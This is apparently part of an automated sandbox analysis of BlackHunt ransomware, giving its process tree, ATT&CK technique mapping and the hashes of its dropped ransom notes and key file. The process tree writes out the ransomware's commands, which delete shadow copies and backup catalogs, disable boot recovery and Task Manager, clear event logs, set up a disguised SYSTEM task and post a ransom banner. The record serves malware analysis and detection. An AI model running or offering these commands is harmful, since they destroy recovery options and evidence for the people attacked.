  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2504
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:2548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2972
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:888
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3016
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1060
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1864
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:1988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1640
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:2124
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2448
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:1744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1660
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:2044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1084
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1872
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2704
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2180
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1204
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2352
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:2384
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2116
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:2836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe" /F
  2⤵
  PID:1188
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2128
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2760
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2752
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2280
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:1840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:2296
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:2968
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2088
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2140
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2132
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2336
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:384
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:1760
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:488
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    - Suspicious use of WriteProcessMemory
    PID:2100
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1648
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:4548
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:4532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:3956
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:2164
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:1628
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:2364
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:3116
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:4728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:4748
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:4708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:4344
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:5016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:4716
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:4780
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:5088
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:4312
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:5028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:4624
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1544
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:4680
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:4944
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:4600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:3048
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:4964
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:4936
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:2580
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:4628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:3620
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:2612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:324
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:1428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:4760
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:3236
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:4696
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:3440
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:4712
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1320
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe"
  2⤵
  - Deletes itself
  PID:3612
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:3412
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:4572
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:4644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:3288
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3776

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2624

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2848

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:1608

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:1268

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\Program Files\7-Zip\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
0f23a9a443068d9cf1220ebcb9d9a270

SHA1
e309ffb91b850f6e41d4f4d768eabca656304b5c

SHA256
69a219e52a4a41827e3d23008008f7466c64be6c154594da0c33661459012cd8

SHA512
41bc844e23803d0df88155a959891e71e267f963e98200be1d815ca7787f88b9750c58e292b5525e63a41e8a0b7d8afc9d9714eda938e54b4fd5fe2dfb1afb3a

Download Submit
C:\Program Files\7-Zip\Lang\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
393c84b1700f305fdc429f72cb33ded7

SHA1
2f68de0669d005985917713770612df2bce5a385

SHA256
0a8e68b4ef8e42a416cc8b01b91e3e98618f950965a45d1c9854b4e3bd14c325

SHA512
9b5b10c8546cb3c9a98ff34545694e9d56876e846d9034b6d3ce51b7d29b0b0580353abfe2cef2efa0eee30db921d6047e46476840c208b02f2f0134fa3805dd

Download Submit
C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
b77e9af154a52a549d4c5c490c032488

SHA1
08652a6d5c1967e8dacfb69622523097f8004bb2

SHA256
f8d1c70acee6304cac84838c64aeb74f231e7afe1845fd9739cb9bcac0a7bcfb

SHA512
e3bec0f5e89ed15986bd1476eb051a0cce709aa48399bb614604e3dbcf5dddcc058fa437faf166c4a7d2a1a7d3bde98020b1004d26ff82918378a3f3ff62ea9c

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads